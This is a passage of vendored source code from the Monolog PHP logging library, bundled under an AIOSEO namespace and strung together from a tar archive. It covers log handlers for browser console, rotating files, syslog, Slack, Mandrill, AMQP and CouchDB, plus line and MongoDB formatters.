static::writeOutput(static::generateScript()); } static::resetStatic(); } } public function close() { self::resetStatic(); } public function reset() { self::resetStatic(); } /** * Forget all logged records */ public static function resetStatic() { static::$records = array(); } /** * Wrapper for register_shutdown_function to allow overriding */ protected function registerShutdownFunction() { if (\PHP_SAPI !== 'cli') { \register_shutdown_function(array('AIOSEO\\Vendor\\Monolog\\Handler\\BrowserConsoleHandler', 'send')); } } /** * Wrapper for echo to allow overriding * * @param string $str */ protected static function writeOutput($str) { echo $str; } /** * Checks the format of the response * * If Content-Type is set to application/javascript or text/javascript -> js * If Content-Type is set to text/html, or is unset -> html * If Content-Type is anything else -> unknown * * @return string One of 'js', 'html' or 'unknown' */ protected static function getResponseFormat() { // Check content type foreach (\headers_list() as $header) { if (\stripos($header, 'content-type:') === 0) { // This handler only works with HTML and javascript outputs // text/javascript is obsolete in favour of application/javascript, but still used if (\stripos($header, 'application/javascript') !== \false || \stripos($header, 'text/javascript') !== \false) { return 'js'; } if (\stripos($header, 'text/html') === \false) { return 'unknown'; } break; } } return 'html'; } private static function generateScript() { $script = array(); foreach (static::$records as $record) { $context = static::dump('Context', $record['context']); $extra = static::dump('Extra', $record['extra']); if (empty($context) && empty($extra)) { $script[] = static::call_array('log', static::handleStyles($record['formatted'])); } else { $script = \array_merge($script, array(static::call_array('groupCollapsed', static::handleStyles($record['formatted']))), $context, $extra, array(static::call('groupEnd'))); } } return "(function (c) {if (c && c.groupCollapsed) {\n" . \implode("\n", $script) . "\n}})(console);"; } private static function handleStyles($formatted) { $args = array(); $format = '%c' . $formatted; \preg_match_all('/\\[\\[(.*?)\\]\\]\\{([^}]*)\\}/s', $format, $matches, \PREG_OFFSET_CAPTURE | \PREG_SET_ORDER); foreach (\array_reverse($matches) as $match) { $args[] = '"font-weight: normal"'; $args[] = static::quote(static::handleCustomStyles($match[2][0], $match[1][0])); $pos = $match[0][1]; $format = \substr($format, 0, $pos) . '%c' . $match[1][0] . '%c' . \substr($format, $pos + \strlen($match[0][0])); } $args[] = static::quote('font-weight: normal'); $args[] = static::quote($format); return \array_reverse($args); } private static function handleCustomStyles($style, $string) { static $colors = array('blue', 'green', 'red', 'magenta', 'orange', 'black', 'grey'); static $labels = array(); return \preg_replace_callback('/macro\\s*:(.*?)(?:;|$)/', function ($m) use($string, &$colors, &$labels) { if (\trim($m[1]) === 'autolabel') { // Format the string as a label with consistent auto assigned background color if (!isset($labels[$string])) { $labels[$string] = $colors[\count($labels) % \count($colors)]; } $color = $labels[$string]; return "background-color: {$color}; color: white; border-radius: 3px; padding: 0 2px 0 2px"; } return $m[1]; }, $style); } private static function dump($title, array $dict) { $script = array(); $dict = \array_filter($dict); if (empty($dict)) { return $script; } $script[] = static::call('log', static::quote('%c%s'), static::quote('font-weight: bold'), static::quote($title)); foreach ($dict as $key => $value) { $value = \json_encode($value); if (empty($value)) { $value = static::quote(''); } $script[] = static::call('log', static::quote('%s: %o'), static::quote($key), $value); } return $script; } private static function quote($arg) { return '"' . \addcslashes($arg, "\"\n\\") . '"'; } private static function call() { $args = \func_get_args(); $method = \array_shift($args); return static::call_array($method, $args); } private static function call_array($method, array $args) { return 'c.' . $method . '(' . \implode(', ', $args) . ');'; } } monolog/monolog/src/Monolog/Handler/RotatingFileHandler.php000066600000013215151733766740020075 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; /** * Stores logs to files that are rotated every day and a limited number of files are kept. * * This rotation is only intended to be used as a workaround. Using logrotate to * handle the rotation is strongly encouraged when you can use it. * * @author Christophe Coevoet * @author Jordi Boggiano */ class RotatingFileHandler extends StreamHandler { const FILE_PER_DAY = 'Y-m-d'; const FILE_PER_MONTH = 'Y-m'; const FILE_PER_YEAR = 'Y'; protected $filename; protected $maxFiles; protected $mustRotate; protected $nextRotation; protected $filenameFormat; protected $dateFormat; /** * @param string $filename * @param int $maxFiles The maximal amount of files to keep (0 means unlimited) * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) * @param bool $useLocking Try to lock log file before doing any writes */ public function __construct($filename, $maxFiles = 0, $level = Logger::DEBUG, $bubble = \true, $filePermission = null, $useLocking = \false) { $this->filename = Utils::canonicalizePath($filename); $this->maxFiles = (int) $maxFiles; $this->nextRotation = new \DateTime('tomorrow'); $this->filenameFormat = '{filename}-{date}'; $this->dateFormat = 'Y-m-d'; parent::__construct($this->getTimedFilename(), $level, $bubble, $filePermission, $useLocking); } /** * {@inheritdoc} */ public function close() { parent::close(); if (\true === $this->mustRotate) { $this->rotate(); } } /** * {@inheritdoc} */ public function reset() { parent::reset(); if (\true === $this->mustRotate) { $this->rotate(); } } public function setFilenameFormat($filenameFormat, $dateFormat) { if (!\preg_match('{^Y(([/_.-]?m)([/_.-]?d)?)?$}', $dateFormat)) { \trigger_error('Invalid date format - format must be one of ' . 'RotatingFileHandler::FILE_PER_DAY ("Y-m-d"), RotatingFileHandler::FILE_PER_MONTH ("Y-m") ' . 'or RotatingFileHandler::FILE_PER_YEAR ("Y"), or you can set one of the ' . 'date formats using slashes, underscores and/or dots instead of dashes.', \E_USER_DEPRECATED); } if (\substr_count($filenameFormat, '{date}') === 0) { \trigger_error('Invalid filename format - format should contain at least `{date}`, because otherwise rotating is impossible.', \E_USER_DEPRECATED); } $this->filenameFormat = $filenameFormat; $this->dateFormat = $dateFormat; $this->url = $this->getTimedFilename(); $this->close(); } /** * {@inheritdoc} */ protected function write(array $record) { // on the first record written, if the log is new, we should rotate (once per day) if (null === $this->mustRotate) { $this->mustRotate = !\file_exists($this->url); } if ($this->nextRotation < $record['datetime']) { $this->mustRotate = \true; $this->close(); } parent::write($record); } /** * Rotates the files. */ protected function rotate() { // update filename $this->url = $this->getTimedFilename(); $this->nextRotation = new \DateTime('tomorrow'); // skip GC of old logs if files are unlimited if (0 === $this->maxFiles) { return; } $logFiles = \glob($this->getGlobPattern()); if ($this->maxFiles >= \count($logFiles)) { // no files to remove return; } // Sorting the files by name to remove the older ones \usort($logFiles, function ($a, $b) { return \strcmp($b, $a); }); foreach (\array_slice($logFiles, $this->maxFiles) as $file) { if (\is_writable($file)) { // suppress errors here as unlink() might fail if two processes // are cleaning up/rotating at the same time \set_error_handler(function ($errno, $errstr, $errfile, $errline) { }); \unlink($file); \restore_error_handler(); } } $this->mustRotate = \false; } protected function getTimedFilename() { $fileInfo = \pathinfo($this->filename); $timedFilename = \str_replace(array('{filename}', '{date}'), array($fileInfo['filename'], \date($this->dateFormat)), $fileInfo['dirname'] . '/' . $this->filenameFormat); if (!empty($fileInfo['extension'])) { $timedFilename .= '.' . $fileInfo['extension']; } return $timedFilename; } protected function getGlobPattern() { $fileInfo = \pathinfo($this->filename); $glob = \str_replace(array('{filename}', '{date}'), array($fileInfo['filename'], '[0-9][0-9][0-9][0-9]*'), $fileInfo['dirname'] . '/' . $this->filenameFormat); if (!empty($fileInfo['extension'])) { $glob .= '.' . $fileInfo['extension']; } return $glob; } } monolog/monolog/src/Monolog/Handler/AbstractSyslogHandler.php000066600000006362151733766740020457 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; /** * Common syslog functionality */ abstract class AbstractSyslogHandler extends AbstractProcessingHandler { protected $facility; /** * Translates Monolog log levels to syslog log priorities. */ protected $logLevels = array(Logger::DEBUG => \LOG_DEBUG, Logger::INFO => \LOG_INFO, Logger::NOTICE => \LOG_NOTICE, Logger::WARNING => \LOG_WARNING, Logger::ERROR => \LOG_ERR, Logger::CRITICAL => \LOG_CRIT, Logger::ALERT => \LOG_ALERT, Logger::EMERGENCY => \LOG_EMERG); /** * List of valid log facility names. */ protected $facilities = array('auth' => \LOG_AUTH, 'authpriv' => \LOG_AUTHPRIV, 'cron' => \LOG_CRON, 'daemon' => \LOG_DAEMON, 'kern' => \LOG_KERN, 'lpr' => \LOG_LPR, 'mail' => \LOG_MAIL, 'news' => \LOG_NEWS, 'syslog' => \LOG_SYSLOG, 'user' => \LOG_USER, 'uucp' => \LOG_UUCP); /** * @param mixed $facility * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($facility = \LOG_USER, $level = Logger::DEBUG, $bubble = \true) { parent::__construct($level, $bubble); if (!\defined('PHP_WINDOWS_VERSION_BUILD')) { $this->facilities['local0'] = \LOG_LOCAL0; $this->facilities['local1'] = \LOG_LOCAL1; $this->facilities['local2'] = \LOG_LOCAL2; $this->facilities['local3'] = \LOG_LOCAL3; $this->facilities['local4'] = \LOG_LOCAL4; $this->facilities['local5'] = \LOG_LOCAL5; $this->facilities['local6'] = \LOG_LOCAL6; $this->facilities['local7'] = \LOG_LOCAL7; } else { $this->facilities['local0'] = 128; // LOG_LOCAL0 $this->facilities['local1'] = 136; // LOG_LOCAL1 $this->facilities['local2'] = 144; // LOG_LOCAL2 $this->facilities['local3'] = 152; // LOG_LOCAL3 $this->facilities['local4'] = 160; // LOG_LOCAL4 $this->facilities['local5'] = 168; // LOG_LOCAL5 $this->facilities['local6'] = 176; // LOG_LOCAL6 $this->facilities['local7'] = 184; // LOG_LOCAL7 } // convert textual description of facility to syslog constant if (\array_key_exists(\strtolower($facility), $this->facilities)) { $facility = $this->facilities[\strtolower($facility)]; } elseif (!\in_array($facility, \array_values($this->facilities), \true)) { throw new \UnexpectedValueException('Unknown facility value "' . $facility . '" given'); } $this->facility = $facility; } /** * {@inheritdoc} */ protected function getDefaultFormatter() { return new LineFormatter('%channel%.%level_name%: %message% %context% %extra%'); } } monolog/monolog/src/Monolog/Handler/SlackWebhookHandler.php000066600000007233151733766740020065 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; use AIOSEO\Vendor\Monolog\Handler\Slack\SlackRecord; /** * Sends notifications through Slack Webhooks * * @author Haralan Dobrev * @see https://api.slack.com/incoming-webhooks */ class SlackWebhookHandler extends AbstractProcessingHandler { /** * Slack Webhook token * @var string */ private $webhookUrl; /** * Instance of the SlackRecord util class preparing data for Slack API. * @var SlackRecord */ private $slackRecord; /** * @param string $webhookUrl Slack Webhook URL * @param string|null $channel Slack channel (encoded ID or name) * @param string|null $username Name of a bot * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) * @param string|null $iconEmoji The emoji name to use (or null) * @param bool $useShortAttachment Whether the the context/extra messages added to Slack as attachments are in a short style * @param bool $includeContextAndExtra Whether the attachment should include context and extra data * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param array $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] */ public function __construct($webhookUrl, $channel = null, $username = null, $useAttachment = \true, $iconEmoji = null, $useShortAttachment = \false, $includeContextAndExtra = \false, $level = Logger::CRITICAL, $bubble = \true, array $excludeFields = array()) { parent::__construct($level, $bubble); $this->webhookUrl = $webhookUrl; $this->slackRecord = new SlackRecord($channel, $username, $useAttachment, $iconEmoji, $useShortAttachment, $includeContextAndExtra, $excludeFields, $this->formatter); } public function getSlackRecord() { return $this->slackRecord; } public function getWebhookUrl() { return $this->webhookUrl; } /** * {@inheritdoc} * * @param array $record */ protected function write(array $record) { $postData = $this->slackRecord->getSlackData($record); $postString = Utils::jsonEncode($postData); $ch = \curl_init(); $options = array(\CURLOPT_URL => $this->webhookUrl, \CURLOPT_POST => \true, \CURLOPT_RETURNTRANSFER => \true, \CURLOPT_HTTPHEADER => array('Content-type: application/json'), \CURLOPT_POSTFIELDS => $postString); if (\defined('CURLOPT_SAFE_UPLOAD')) { $options[\CURLOPT_SAFE_UPLOAD] = \true; } \curl_setopt_array($ch, $options); Curl\Util::execute($ch); } public function setFormatter(FormatterInterface $formatter) { parent::setFormatter($formatter); $this->slackRecord->setFormatter($formatter); return $this; } public function getFormatter() { $formatter = parent::getFormatter(); $this->slackRecord->setFormatter($formatter); return $formatter; } } monolog/monolog/src/Monolog/Handler/SyslogHandler.php000066600000003527151733766740016773 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * Logs to syslog service. * * usage example: * * $log = new Logger('application'); * $syslog = new SyslogHandler('myfacility', 'local6'); * $formatter = new LineFormatter("%channel%.%level_name%: %message% %extra%"); * $syslog->setFormatter($formatter); * $log->pushHandler($syslog); * * @author Sven Paulus */ class SyslogHandler extends AbstractSyslogHandler { protected $ident; protected $logopts; /** * @param string $ident * @param mixed $facility * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int $logopts Option flags for the openlog() call, defaults to LOG_PID */ public function __construct($ident, $facility = \LOG_USER, $level = Logger::DEBUG, $bubble = \true, $logopts = \LOG_PID) { parent::__construct($facility, $level, $bubble); $this->ident = $ident; $this->logopts = $logopts; } /** * {@inheritdoc} */ public function close() { \closelog(); } /** * {@inheritdoc} */ protected function write(array $record) { if (!\openlog($this->ident, $this->logopts, $this->facility)) { throw new \LogicException('Can\'t open syslog for ident "' . $this->ident . '" and facility "' . $this->facility . '"'); } \syslog($this->logLevels[$record['level']], (string) $record['formatted']); } } monolog/monolog/src/Monolog/Handler/DeduplicationHandler.php000066600000012623151733766740020274 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * Simple handler wrapper that deduplicates log records across multiple requests * * It also includes the BufferHandler functionality and will buffer * all messages until the end of the request or flush() is called. * * This works by storing all log records' messages above $deduplicationLevel * to the file specified by $deduplicationStore. When further logs come in at the end of the * request (or when flush() is called), all those above $deduplicationLevel are checked * against the existing stored logs. If they match and the timestamps in the stored log is * not older than $time seconds, the new log record is discarded. If no log record is new, the * whole data set is discarded. * * This is mainly useful in combination with Mail handlers or things like Slack or HipChat handlers * that send messages to people, to avoid spamming with the same message over and over in case of * a major component failure like a database server being down which makes all requests fail in the * same way. * * @author Jordi Boggiano */ class DeduplicationHandler extends BufferHandler { /** * @var string */ protected $deduplicationStore; /** * @var int */ protected $deduplicationLevel; /** * @var int */ protected $time; /** * @var bool */ private $gc = \false; /** * @param HandlerInterface $handler Handler. * @param string $deduplicationStore The file/path where the deduplication log should be kept * @param int $deduplicationLevel The minimum logging level for log records to be looked at for deduplication purposes * @param int $time The period (in seconds) during which duplicate entries should be suppressed after a given log is sent through * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(HandlerInterface $handler, $deduplicationStore = null, $deduplicationLevel = Logger::ERROR, $time = 60, $bubble = \true) { parent::__construct($handler, 0, Logger::DEBUG, $bubble, \false); $this->deduplicationStore = $deduplicationStore === null ? \sys_get_temp_dir() . '/monolog-dedup-' . \substr(\md5(__FILE__), 0, 20) . '.log' : $deduplicationStore; $this->deduplicationLevel = Logger::toMonologLevel($deduplicationLevel); $this->time = $time; } public function flush() { if ($this->bufferSize === 0) { return; } $passthru = null; foreach ($this->buffer as $record) { if ($record['level'] >= $this->deduplicationLevel) { $passthru = $passthru || !$this->isDuplicate($record); if ($passthru) { $this->appendRecord($record); } } } // default of null is valid as well as if no record matches duplicationLevel we just pass through if ($passthru === \true || $passthru === null) { $this->handler->handleBatch($this->buffer); } $this->clear(); if ($this->gc) { $this->collectLogs(); } } private function isDuplicate(array $record) { if (!\file_exists($this->deduplicationStore)) { return \false; } $store = \file($this->deduplicationStore, \FILE_IGNORE_NEW_LINES | \FILE_SKIP_EMPTY_LINES); if (!\is_array($store)) { return \false; } $yesterday = \time() - 86400; $timestampValidity = $record['datetime']->getTimestamp() - $this->time; $expectedMessage = \preg_replace('{[\\r\\n].*}', '', $record['message']); for ($i = \count($store) - 1; $i >= 0; $i--) { list($timestamp, $level, $message) = \explode(':', $store[$i], 3); if ($level === $record['level_name'] && $message === $expectedMessage && $timestamp > $timestampValidity) { return \true; } if ($timestamp < $yesterday) { $this->gc = \true; } } return \false; } private function collectLogs() { if (!\file_exists($this->deduplicationStore)) { return \false; } $handle = \fopen($this->deduplicationStore, 'rw+'); \flock($handle, \LOCK_EX); $validLogs = array(); $timestampValidity = \time() - $this->time; while (!\feof($handle)) { $log = \fgets($handle); if (\substr($log, 0, 10) >= $timestampValidity) { $validLogs[] = $log; } } \ftruncate($handle, 0); \rewind($handle); foreach ($validLogs as $log) { \fwrite($handle, $log); } \flock($handle, \LOCK_UN); \fclose($handle); $this->gc = \false; } private function appendRecord(array $record) { \file_put_contents($this->deduplicationStore, $record['datetime']->getTimestamp() . ':' . $record['level_name'] . ':' . \preg_replace('{[\\r\\n].*}', '', $record['message']) . "\n", \FILE_APPEND); } } monolog/monolog/src/Monolog/Handler/SyslogUdp/UdpSocket.php000066600000002622151733766740020042 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler\SyslogUdp; class UdpSocket { const DATAGRAM_MAX_LENGTH = 65023; protected $ip; protected $port; protected $socket; public function __construct($ip, $port = 514) { $this->ip = $ip; $this->port = $port; $this->socket = \socket_create(\AF_INET, \SOCK_DGRAM, \SOL_UDP); } public function write($line, $header = "") { $this->send($this->assembleMessage($line, $header)); } public function close() { if (\is_resource($this->socket)) { \socket_close($this->socket); $this->socket = null; } } protected function send($chunk) { if (!\is_resource($this->socket)) { throw new \LogicException('The UdpSocket to ' . $this->ip . ':' . $this->port . ' has been closed and can not be written to anymore'); } \socket_sendto($this->socket, $chunk, \strlen($chunk), $flags = 0, $this->ip, $this->port); } protected function assembleMessage($line, $header) { $chunkSize = self::DATAGRAM_MAX_LENGTH - \strlen($header); return $header . \substr($line, 0, $chunkSize); } } monolog/monolog/src/Monolog/Handler/AmqpHandler.php000066600000007000151733766740016377 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Formatter\JsonFormatter; use AIOSEO\Vendor\PhpAmqpLib\Message\AMQPMessage; use AIOSEO\Vendor\PhpAmqpLib\Channel\AMQPChannel; use AMQPExchange; class AmqpHandler extends AbstractProcessingHandler { /** * @var AMQPExchange|AMQPChannel $exchange */ protected $exchange; /** * @var string */ protected $exchangeName; /** * @param AMQPExchange|AMQPChannel $exchange AMQPExchange (php AMQP ext) or PHP AMQP lib channel, ready for use * @param string $exchangeName * @param int $level * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($exchange, $exchangeName = 'log', $level = Logger::DEBUG, $bubble = \true) { if ($exchange instanceof AMQPExchange) { $exchange->setName($exchangeName); } elseif ($exchange instanceof AMQPChannel) { $this->exchangeName = $exchangeName; } else { throw new \InvalidArgumentException('PhpAmqpLib\\Channel\\AMQPChannel or AMQPExchange instance required'); } $this->exchange = $exchange; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record) { $data = $record["formatted"]; $routingKey = $this->getRoutingKey($record); if ($this->exchange instanceof AMQPExchange) { $this->exchange->publish($data, $routingKey, 0, array('delivery_mode' => 2, 'content_type' => 'application/json')); } else { $this->exchange->basic_publish($this->createAmqpMessage($data), $this->exchangeName, $routingKey); } } /** * {@inheritDoc} */ public function handleBatch(array $records) { if ($this->exchange instanceof AMQPExchange) { parent::handleBatch($records); return; } foreach ($records as $record) { if (!$this->isHandling($record)) { continue; } $record = $this->processRecord($record); $data = $this->getFormatter()->format($record); $this->exchange->batch_basic_publish($this->createAmqpMessage($data), $this->exchangeName, $this->getRoutingKey($record)); } $this->exchange->publish_batch(); } /** * Gets the routing key for the AMQP exchange * * @param array $record * @return string */ protected function getRoutingKey(array $record) { $routingKey = \sprintf( '%s.%s', // TODO 2.0 remove substr call \substr($record['level_name'], 0, 4), $record['channel'] ); return \strtolower($routingKey); } /** * @param string $data * @return AMQPMessage */ private function createAmqpMessage($data) { return new AMQPMessage((string) $data, array('delivery_mode' => 2, 'content_type' => 'application/json')); } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, \false); } } monolog/monolog/src/Monolog/Handler/DoctrineCouchDBHandler.php000066600000002036151733766740020444 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Formatter\NormalizerFormatter; use AIOSEO\Vendor\Doctrine\CouchDB\CouchDBClient; /** * CouchDB handler for Doctrine CouchDB ODM * * @author Markus Bachmann */ class DoctrineCouchDBHandler extends AbstractProcessingHandler { private $client; public function __construct(CouchDBClient $client, $level = Logger::DEBUG, $bubble = \true) { $this->client = $client; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record) { $this->client->postDocument($record['formatted']); } protected function getDefaultFormatter() { return new NormalizerFormatter(); } } monolog/monolog/src/Monolog/Handler/ProcessableHandlerInterface.php000066600000002025151733766740021566 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Processor\ProcessorInterface; /** * Interface to describe loggers that have processors * * This interface is present in monolog 1.x to ease forward compatibility. * * @author Jordi Boggiano */ interface ProcessableHandlerInterface { /** * Adds a processor in the stack. * * @param ProcessorInterface|callable $callback * @return HandlerInterface self */ public function pushProcessor($callback) : HandlerInterface; /** * Removes the processor on top of the stack and returns it. * * @throws \LogicException In case the processor stack is empty * @return callable */ public function popProcessor() : callable; } monolog/monolog/src/Monolog/Handler/MandrillHandler.php000066600000004174151733766740017254 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * MandrillHandler uses cURL to send the emails to the Mandrill API * * @author Adam Nicholson */ class MandrillHandler extends MailHandler { protected $message; protected $apiKey; /** * @param string $apiKey A valid Mandrill API key * @param callable|\Swift_Message $message An example message for real messages, only the body will be replaced * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($apiKey, $message, $level = Logger::ERROR, $bubble = \true) { parent::__construct($level, $bubble); if (!$message instanceof \AIOSEO\Vendor\Swift_Message && \is_callable($message)) { $message = \call_user_func($message); } if (!$message instanceof \AIOSEO\Vendor\Swift_Message) { throw new \InvalidArgumentException('You must provide either a Swift_Message instance or a callable returning it'); } $this->message = $message; $this->apiKey = $apiKey; } /** * {@inheritdoc} */ protected function send($content, array $records) { $message = clone $this->message; $message->setBody($content); $message->setDate(\time()); $ch = \curl_init(); \curl_setopt($ch, \CURLOPT_URL, 'https://mandrillapp.com/api/1.0/messages/send-raw.json'); \curl_setopt($ch, \CURLOPT_POST, 1); \curl_setopt($ch, \CURLOPT_RETURNTRANSFER, 1); \curl_setopt($ch, \CURLOPT_POSTFIELDS, \http_build_query(array('key' => $this->apiKey, 'raw_message' => (string) $message, 'async' => \false))); Curl\Util::execute($ch); } } monolog/monolog/src/Monolog/Formatter/MongoDBFormatter.php000066600000006273151733766740017755 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use AIOSEO\Vendor\Monolog\Utils; /** * Formats a record for use with the MongoDBHandler. * * @author Florian Plattner */ class MongoDBFormatter implements FormatterInterface { private $exceptionTraceAsString; private $maxNestingLevel; /** * @param int $maxNestingLevel 0 means infinite nesting, the $record itself is level 1, $record['context'] is 2 * @param bool $exceptionTraceAsString set to false to log exception traces as a sub documents instead of strings */ public function __construct($maxNestingLevel = 3, $exceptionTraceAsString = \true) { $this->maxNestingLevel = \max($maxNestingLevel, 0); $this->exceptionTraceAsString = (bool) $exceptionTraceAsString; } /** * {@inheritDoc} */ public function format(array $record) { return $this->formatArray($record); } /** * {@inheritDoc} */ public function formatBatch(array $records) { foreach ($records as $key => $record) { $records[$key] = $this->format($record); } return $records; } protected function formatArray(array $record, $nestingLevel = 0) { if ($this->maxNestingLevel == 0 || $nestingLevel <= $this->maxNestingLevel) { foreach ($record as $name => $value) { if ($value instanceof \DateTime) { $record[$name] = $this->formatDate($value, $nestingLevel + 1); } elseif ($value instanceof \Exception) { $record[$name] = $this->formatException($value, $nestingLevel + 1); } elseif (\is_array($value)) { $record[$name] = $this->formatArray($value, $nestingLevel + 1); } elseif (\is_object($value)) { $record[$name] = $this->formatObject($value, $nestingLevel + 1); } } } else { $record = '[...]'; } return $record; } protected function formatObject($value, $nestingLevel) { $objectVars = \get_object_vars($value); $objectVars['class'] = Utils::getClass($value); return $this->formatArray($objectVars, $nestingLevel); } protected function formatException(\Exception $exception, $nestingLevel) { $formattedException = array('class' => Utils::getClass($exception), 'message' => $exception->getMessage(), 'code' => (int) $exception->getCode(), 'file' => $exception->getFile() . ':' . $exception->getLine()); if ($this->exceptionTraceAsString === \true) { $formattedException['trace'] = $exception->getTraceAsString(); } else { $formattedException['trace'] = $exception->getTrace(); } return $this->formatArray($formattedException, $nestingLevel); } protected function formatDate(\DateTime $value, $nestingLevel) { return new \MongoDate($value->getTimestamp()); } } monolog/monolog/src/Monolog/Formatter/FormatterInterface.php000066600000001437151733766740020365 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; /** * Interface for formatters * * @author Jordi Boggiano */ interface FormatterInterface { /** * Formats a log record. * * @param array $record A record to format * @return mixed The formatted record */ public function format(array $record); /** * Formats a set of log records. * * @param array $records A set of records to format * @return mixed The formatted set of records */ public function formatBatch(array $records); } monolog/monolog/src/Monolog/Formatter/LineFormatter.php000066600000013060151733766740017347 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Formatter; use AIOSEO\Vendor\Monolog\Utils; /** * Formats incoming records into a one-line string * * This is especially useful for logging to files * * @author Jordi Boggiano * @author Christophe Coevoet */ class LineFormatter extends NormalizerFormatter { const SIMPLE_FORMAT = "[%datetime%] %channel%.%level_name%: %message% %context% %extra%\n"; protected $format; protected $allowInlineLineBreaks; protected $ignoreEmptyContextAndExtra; protected $includeStacktraces; /** * @param string $format The format of the message * @param string $dateFormat The format of the timestamp: one supported by DateTime::format * @param bool $allowInlineLineBreaks Whether to allow inline line breaks in log entries * @param bool $ignoreEmptyContextAndExtra */ public function __construct($format = null, $dateFormat = null, $allowInlineLineBreaks = \false, $ignoreEmptyContextAndExtra = \false) { $this->format = $format ?: static::SIMPLE_FORMAT; $this->allowInlineLineBreaks = $allowInlineLineBreaks; $this->ignoreEmptyContextAndExtra = $ignoreEmptyContextAndExtra; parent::__construct($dateFormat); } public function includeStacktraces($include = \true) { $this->includeStacktraces = $include; if ($this->includeStacktraces) { $this->allowInlineLineBreaks = \true; } } public function allowInlineLineBreaks($allow = \true) { $this->allowInlineLineBreaks = $allow; } public function ignoreEmptyContextAndExtra($ignore = \true) { $this->ignoreEmptyContextAndExtra = $ignore; } /** * {@inheritdoc} */ public function format(array $record) { $vars = parent::format($record); $output = $this->format; foreach ($vars['extra'] as $var => $val) { if (\false !== \strpos($output, '%extra.' . $var . '%')) { $output = \str_replace('%extra.' . $var . '%', $this->stringify($val), $output); unset($vars['extra'][$var]); } } foreach ($vars['context'] as $var => $val) { if (\false !== \strpos($output, '%context.' . $var . '%')) { $output = \str_replace('%context.' . $var . '%', $this->stringify($val), $output); unset($vars['context'][$var]); } } if ($this->ignoreEmptyContextAndExtra) { if (empty($vars['context'])) { unset($vars['context']); $output = \str_replace('%context%', '', $output); } if (empty($vars['extra'])) { unset($vars['extra']); $output = \str_replace('%extra%', '', $output); } } foreach ($vars as $var => $val) { if (\false !== \strpos($output, '%' . $var . '%')) { $output = \str_replace('%' . $var . '%', $this->stringify($val), $output); } } // remove leftover %extra.xxx% and %context.xxx% if any if (\false !== \strpos($output, '%')) { $output = \preg_replace('/%(?:extra|context)\\..+?%/', '', $output); } return $output; } public function formatBatch(array $records) { $message = ''; foreach ($records as $record) { $message .= $this->format($record); } return $message; } public function stringify($value) { return $this->replaceNewlines($this->convertToString($value)); } protected function normalizeException($e) { // TODO 2.0 only check for Throwable if (!$e instanceof \Exception && !$e instanceof \Throwable) { throw new \InvalidArgumentException('Exception/Throwable expected, got ' . \gettype($e) . ' / ' . Utils::getClass($e)); } $previousText = ''; if ($previous = $e->getPrevious()) { do { $previousText .= ', ' . Utils::getClass($previous) . '(code: ' . $previous->getCode() . '): ' . $previous->getMessage() . ' at ' . $previous->getFile() . ':' . $previous->getLine(); } while ($previous = $previous->getPrevious()); } $str = '[object] (' . Utils::getClass($e) . '(code: ' . $e->getCode() . '): ' . $e->getMessage() . ' at ' . $e->getFile() . ':' . $e->getLine() . $previousText . ')'; if ($this->includeStacktraces) { $str .= "\n[stacktrace]\n" . $e->getTraceAsString() . "\n"; } return $str; } protected function convertToString($data) { if (null === $data || \is_bool($data)) { return \var_export($data, \true); } if (\is_scalar($data)) { return (string) $data; } if (\version_compare(\PHP_VERSION, '5.4.0', 